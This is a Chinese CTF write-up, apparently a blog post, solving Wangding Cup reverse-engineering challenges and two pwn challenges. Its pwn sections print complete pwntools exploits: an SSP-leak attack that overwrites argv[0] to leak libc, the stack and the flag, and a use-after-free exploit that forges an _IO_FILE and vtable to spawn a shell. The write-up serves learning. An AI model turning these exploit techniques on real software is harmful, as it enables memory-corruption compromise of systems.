美文网首页CTF Re&&Pwn
【CTF-Re】网鼎杯第一场_Re&&部分Pwn

【CTF-Re】网鼎杯第一场_Re&&部分Pwn

作者: Kirin_say | 来源:发表于2018-08-21 15:35 被阅读143次

    自己是第四场,跟着做做其他场的题目

    0x01 Beijing

    签到题目
    看到输出是

    sub_8048460(dword_804A03C)
    

    即一个函数处理一个数组
    且函数内部主要是switch返回预先定义的数组前后byte异或:

    switch ( a1 )
      {
        case 0:
          v2 = byte_804A021 ^ byte_804A020;
          break;
        case 1:
          v2 = byte_804A023 ^ byte_804A022;
          break;
        case 2:
          v2 = byte_804A025 ^ byte_804A024;
          break;
        case 13:
          v2 = byte_804A03B ^ byte_804A03A;
          break;
        default:
          v2 = 0;
          break;
      }
      return v2;
    ......
    ......
    

    动态调试看到进入switch后前四次的异或的第二个字节分别为"f"、"l","a","g",猜测每组异或前一个是干扰项,将byte_804A021、 byte_804A023、byte_804A025......改为0,patch好程序后,再次运行即得flag:

    flag{amazing_beijing}
    

    0x02 blend

    首先这类似之前的一道题目(改了一些数据):

    https://github.com/TechSecCTF/writeups/blob/master/CSAWQuals2017/realism/README.md
    

    跟着再学习一下:
    安装qemu:

    sudo apt-get install qemu
    

    首先运行程序:

    qemu-system-i386 -drive format=raw,file=main.bin
    
    qemu

    拖进IDA,16-bit mode下打开:
    看到flag-checking bit:

    seg000:0066                 cmp     byte ptr ds:7DC8h, 13h
    seg000:006B                 jle     loc_10D
    seg000:006F                 cmp     dword ptr ds:1234h, 67616C66h
    seg000:0078                 jnz     loc_14D
    seg000:007C                 movaps  xmm0, xmmword ptr ds:1238h
    seg000:0081                 movaps  xmm5, xmmword ptr ds:7C00h
    seg000:0086                 pshufd  xmm0, xmm0, 1Eh
    seg000:008B                 mov     si, 8
    

    其比较我们的输入(0x1234h)和67616C66h("flag")
    调试一下:

    qemu-system-i386 -drive  format=raw,file=./main.bin  -s
    

    gdb下:

    gdb -ex 'target remote localhost:1234' \
        -ex 'set architecture i8086' \
        -ex 'break *0x7c6f' \
        -ex 'continue'
    

    (mbr的加载起始地址为0x7c00)
    可以看到:

    p $xmm0
    $3 = {
      v4_float = {4.17598837e+21, 1.08801462e+24, 2.83386409e+26, 1.98077759e+37}, 
      v2_double = {1.2473230926066787e+190, 1.5546445437344775e+296}, 
      v16_int8 = {0x7b, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 
        0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x7d}, 
      v8_int16 = {0x617b, 0x6362, 0x6564, 0x6766, 0x6968, 0x6b6a, 0x6d6c, 0x7d6e}, 
      v4_int32 = {0x6362617b, 0x67666564, 0x6b6a6968, 0x7d6e6d6c}, 
      v2_int64 = {0x676665646362617b, 0x7d6e6d6c6b6a6968}, 
      uint128 = 0x7d6e6d6c6b6a6968676665646362617b
    }
    
    p $xmm5
    $4 = {
      v4_float = {-134298496, -2.50091934, -1.48039995e-36, 1.93815862e-18}, 
      v2_double = {-8.0294250547975565, 1.241726856953559e-144}, 
      v16_int8 = {0xb8, 0x13, 0x0, 0xcd, 0x10, 0xf, 0x20, 0xc0, 0x83, 0xe0, 0xfb, 
        0x83, 0xc8, 0x2, 0xf, 0x22}, 
      v8_int16 = {0x13b8, 0xcd00, 0xf10, 0xc020, 0xe083, 0x83fb, 0x2c8, 0x220f}, 
      v4_int32 = {0xcd0013b8, 0xc0200f10, 0x83fbe083, 0x220f02c8}, 
      v2_int64 = {0xc0200f10cd0013b8, 0x220f02c883fbe083}, 
      uint128 = 0x220f02c883fbe083c0200f10cd0013b8
    }
    

    其实就是这里:

    seg000:007C                 movaps  xmm0, xmmword ptr ds:1238h
    seg000:0081                 movaps  xmm5, xmmword ptr ds:7C00h
    

    xmm0保存我们输入flag后面的字符
    xmm5保存mbr开始的字符
    可以调试后
    剩下分析的便和开始提到的题相同:
    解题脚本:

    import binascii
    import struct
    
    # Initial value of xmm5
    xmm5_start = binascii.unhexlify('220f02c883fbe083c0200f10cd0013b8')
    
    # The data stored at 0x7DA8 and compared against esi
    esi_consts = [
                    'F602DD02',
                    'E802DC02',
                    'ED02D802',
                    'E202CE02',
                    'E202C402',
                    'DB02D402',
                    'CD02D902',
                    '04031103'
                  ]
    esi_consts = [struct.unpack('<I', binascii.unhexlify(c))[0] for c in esi_consts]
    esi_consts = esi_consts[::-1]
    
    # Our 16 variables ('a' through 'p')
    variables = [chr(ord('a') + i) for i in range(16)]
    
    def esi_to_xmm5(esi):
      s1 = esi % (1 << 0x10)
      s2 = (esi - s1) >> (0x10)
      w = struct.pack('>Q', s1) + struct.pack('>Q', s2)
      return w
    
    def print_constraints():
      for i in range(8):
        prev_esi = esi_consts[i-1]
        xmm5 = esi_to_xmm5(prev_esi)
        if i == 0:
          xmm5 = xmm5_start
    
        esi = esi_consts[i]
        s1 = esi % (1 << 0x10)
        s2 = (esi - s1) >> (0x10)
    
        # sum of absolute differences between xmm5 and our flag
        s = ''
        for j in range(8):
          if j == 7-i:
            # This is the masking step
            s += 'abs(0-' + str(ord(xmm5[j])) + ') + '
            continue
          s += 'abs(' + variables[j] + '-' + str(ord(xmm5[j])) + ') + '
        s += '0 == {}, '.format(s1)
        print(s)
    
        s = ''
        for j in range(8,16):
          if j-8 == 7-i:
            # This is the masking step
            s += 'abs(0-' + str(ord(xmm5[j])) + ') + '
            continue
          s += 'abs(' + variables[j] + '-' + str(ord(xmm5[j])) + ') + '
        s += '0 == {}, '.format(s2)
        print(s)
    
    if __name__ == '__main__':
      print_constraints()
    
    import sys
    sys.path.append('z3/build/')
    from z3 import *
    
    def abs(x):
      return If(x >= 0,x,-x)
    
    s = Solver()
    
    a = Int('a')
    b = Int('b')
    c = Int('c')
    d = Int('d')
    e = Int('e')
    f = Int('f')
    g = Int('g')
    h = Int('h')
    i = Int('i')
    j = Int('j')
    k = Int('k')
    l = Int('l')
    m = Int('m')
    n = Int('n')
    o = Int('o')
    p = Int('p')
    
    s.add(a >= 32)
    s.add(b >= 32)
    s.add(c >= 32)
    s.add(d >= 32)
    s.add(e >= 32)
    s.add(f >= 32)
    s.add(g >= 32)
    s.add(h >= 32)
    s.add(i >= 32)
    s.add(j >= 32)
    s.add(k >= 32)
    s.add(l >= 32)
    s.add(m >= 32)
    s.add(n >= 32)
    s.add(o >= 32)
    s.add(p >= 32)
    
    s.add(127 > a)
    s.add(127 > b)
    s.add(127 > c)
    s.add(127 > d)
    s.add(127 > e)
    s.add(127 > f)
    s.add(127 > g)
    s.add(127 > h)
    s.add(127 > i)
    s.add(127 > j)
    s.add(127 > k)
    s.add(127 > l)
    s.add(127 > m)
    s.add(127 > n)
    s.add(127 > o)
    s.add(127 > p)
    
    s.add(abs(a-34) + abs(b-15) + abs(c-2) + abs(d-200) + abs(e-131) + abs(f-251) + abs(g-224) + abs(0-131) + 0 == 772) 
    s.add(abs(i-192) + abs(j-32) + abs(k-15) + abs(l-16) + abs(m-205) + abs(n-0) + abs(o-19) + abs(0-184) + 0 == 785) 
    s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(0-3) + abs(h-4) + 0 == 717) 
    s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(0-3) + abs(p-17) + 0 == 729) 
    s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(0-0) + abs(g-2) + abs(h-205) + 0 == 731) 
    s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(0-0) + abs(o-2) + abs(p-217) + 0 == 724) 
    s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(0-0) + abs(f-0) + abs(g-2) + abs(h-219) + 0 == 738) 
    s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(0-0) + abs(n-0) + abs(o-2) + abs(p-212) + 0 == 708) 
    s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(0-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-226) + 0 == 738) 
    s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(0-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-196) + 0 == 718) 
    s.add(abs(a-0) + abs(b-0) + abs(0-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-226) + 0 == 749) 
    s.add(abs(i-0) + abs(j-0) + abs(0-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-206) + 0 == 728) 
    s.add(abs(a-0) + abs(0-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-237) + 0 == 744) 
    s.add(abs(i-0) + abs(0-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-216) + 0 == 732) 
    s.add(abs(0-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-232) + 0 == 758) 
    s.add(abs(0-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-220) + 0 == 733) 
    print(s.check())
    mod = s.model()
    
    chars = [
              mod[a],
              mod[b],
              mod[c],
              mod[d],
              mod[e],
              mod[f],
              mod[g],
              mod[h],
              mod[i],
              mod[j],
              mod[k],
              mod[l],
              mod[m],
              mod[n],
              mod[o],
              mod[p]
            ]
    
    
    print(chars)
    flag = ''.join([chr(int(str(w))) for w in chars])
    flag = flag[::-1]
    print('flag' +flag[12:] + flag[8:12] + flag[0:4] + flag[4:8])
    
    flag

    0x03 advanced

    非预期
    运行一下:

    welcome, here is your identification, please keep it in your pocket: 4b404c4b5648725b445845734c735949405c414d5949725c45495a51
    

    直接拖IDA分析时候比较乱,看不出啥
    不过观察pocket:
    发现hex解码后xor "-,"(即按位异或0x45,0x44)即得flag:

    key="4b404c4b5648725b445845734c735949405c414d5949725c45495a51".decode("hex")
    key2="-,"
    flag=""
    j=0
    for i in key:
      flag+=chr(ord(i)^ord(key2[j%2]))
      j+=1
    print flag
    
    flag{d_with_a_template_phew}
    

    0x04 guess

    main处:

    .text:0000000000400A86                 call    sub_4009A6
    

    sub_4009A6中反调试call alarm
    首先nop掉
    看一下保护



    看到程序开启了canary保护
    看到main中程序调用方式以及gets漏洞:

     __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
    ......
    ......
      while ( 1 )
      {
        if ( v6 >= v7 )
        {
          puts("you have no sense... bye :-) ");
          return 0LL;
        }
        v5 = sub_400A11();
        if ( !v5 )
          break;
        ++v6;
        wait((__WAIT_STATUS)&stat_loc);
      }
    ......
    ......
    
      puts("Please type your guessing flag");
      gets((__int64)&s2);
    

    想到之前看的一篇文章:

    https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/
    

    就是通过故意触发canary保护来ssp leak
    因为触发canary之后会输出stack smashing detected:+argv[0]
    如果我们覆盖argv[0],便会输出特定字符串
    首先明确flag被main读入到栈中
    我们需要获取栈地址
    程序允许三次读入:

    1->覆盖argv[0]为got表地址leak libc
    2->利用environ来leak stack_addr
    3->利用栈地址打到flag
    

    首先计算需要覆盖的距离:

    gdb-peda$ p & __libc_argv[0]
    $8 = (char **) 0x7fffffffdcc8
    gdb-peda$ p $rbp-0x40
    $13 = (void *) 0x7fffffffdba0
    0x7fffffffdcc8-0x7fffffffdba0=0x128
    

    EXP:

    from pwn import *
    
    elf=ELF("./guess")
    elib=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    environ_off= elib.symbols['environ']
    puts_off=elib.symbols["puts"]
    puts_got_addr=elf.got["puts"]
    p=process("./guess")
    p.recvuntil("flag")
    p.sendline("A"*0x128 + p64(puts_got_addr))
    print p.recvuntil(": ")
    puts_addr=u64(p.recv(6).ljust(8,"\x00"))
    environ_addr=environ_off-puts_off+puts_addr
    p.recvuntil("flag")
    p.sendline("A"*0x128 + p64(environ_addr))
    p.recvuntil(": ")
    stack_addr=u64(p.recv(6).ljust(8,"\x00"))
    p.recvuntil("flag")
    p.sendline("A"*0x128 + p64(stack_addr-0x168))
    p.recvuntil(": ")
    p.interactive()
    

    0x05 blind

    首先看到new:

      if ( v1 <= 5 && !ptr[v1] )
      {
        ptr[v1] = malloc(0x68uLL);
        printf("Content:", &s);
        read_note((__int64)ptr[v1], 0x68u);
        puts("Done!");
      }
    

    我们建立的数据保存在堆中
    并由全局变量数组ptr保存
    同时在release中可以看到:

     if ( v1 <= 5 && ptr[v1] && release_time <= 2 )
      {
        free(ptr[v1]);
        ++release_time;
        puts("Done!");
      }
    

    free后没有置空指针,存在UAF
    我们可以利用uaf来change被free过的chunk,构造fd来使堆块分配到bss段,同时ptr也在bss段,我们可以覆盖掉ptr数组中的指针,而后利用change进行任意地址写入
    程序中存在后门:

    .text:00000000004008E3
    .text:00000000004008E3 sub_4008E3      proc near
    .text:00000000004008E3 ; __unwind {
    .text:00000000004008E3                 push    rbp
    .text:00000000004008E4                 mov     rbp, rsp
    .text:00000000004008E7                 mov     edi, offset command ; "/bin/sh"
    .text:00000000004008EC                 call    system
    .text:00000000004008F1                 nop
    .text:00000000004008F2                 pop     rbp
    .text:00000000004008F3                 retn
    .text:00000000004008F3 ; } // starts at 4008E3
    

    这里我们可以覆盖掉stdout的指针指向我们在bss段中构造的_IO_FILE结构,并将_IO_FILE_plus中的*vtable指向我们伪造的vtable(shell_addr)实现劫持程序流,从而调取shell:

    from pwn import *
    
    #context.log_level = 'debug'
    def new(index,content):
        p.recvuntil('Choice:')
        p.sendline('1')
        p.recvuntil('Index:')
        p.sendline(str(index))
        p.recvuntil('Content:')
        p.sendline(content)
    
    def change(index,content):
        p.recvuntil('Choice:')
        p.sendline('2')
        p.recvuntil('Index:')
        p.sendline(str(index))
        p.recvuntil('Content:')
        p.send(content)
    
    def release(index):
        p.recvuntil('Choice:')
        p.sendline('3')
        p.recvuntil('Index:')
        p.sendline(str(index))
    
    p = process('./blind')
    shell_addr=0x4008E3
    new(0,'1111')
    new(1,'2222')
    release(0)
    change(0,p64(0x60203d) + '\n')
    new(2,'aaaa')
    payload='aaa' + 'a'*0x10+p64(0x602020) + p64(0x602090) + p64(0x602090 + 0x68)+p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
    new(3,payload)
    IO_payload=p64(0x00000000fbad8000)+p64(0x602500)*7+p64(0x602501)+p64(0)*9+p64(0x602600)+p64(0)*8+p64(0x602090+0x68*3)
    vtable_payload=p64(shell_addr)*13
    change(1,IO_payload[0:0x68])
    change(2,IO_payload[0x68:0xd0])
    change(3,IO_payload[0xd0:]+'\n')
    change(4,vtable_payload)
    change(0,p64(0x602090)+'\n')
    p.interactive()
    

    相关文章

      网友评论

        本文标题:【CTF-Re】网鼎杯第一场_Re&&部分Pwn

        本文链接:https://www.haomeiwen.com/subject/fphriftx.html